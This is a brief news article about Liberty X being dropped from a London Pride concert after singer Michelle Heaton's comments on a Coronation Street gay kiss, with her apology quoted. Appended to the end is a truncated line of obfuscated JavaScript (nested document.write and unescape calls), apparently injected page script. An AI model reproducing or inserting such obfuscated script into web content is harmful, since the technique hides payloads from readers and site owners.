Liberty X dropped from gay celebrations

Liberty X have been axed from next month's Gay Pride gig because one of the band has been branded a homophobe.

In a weekly column for a celebrity gossip magazine, singer Michelle Heaton said the recent gay kiss on Coronation Street should have been shown after the 9pm watershed.

After a number of complaints from readers, the band was told they are no longer welcome at next month's massive open-air concert in London.

The singer is said to be devastated, saying her comments were misrepresented.

She has apologised to anyone she upset, telling The Sun: "I am really upset by the reaction. I have loads of gay friends and am in no way homophobic. I was taken out of context and can't believe how it has all backfired.

"What I meant to say was that homosexuality shouldn't be exploited or sensationalised. We play at loads of gay charities and have a huge gay fan base.

"Anyone who knows me knows that I am in no way homophobic. This is a stupid thing that has spiralled out of control and I'm really sorry if any offence has been caused."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;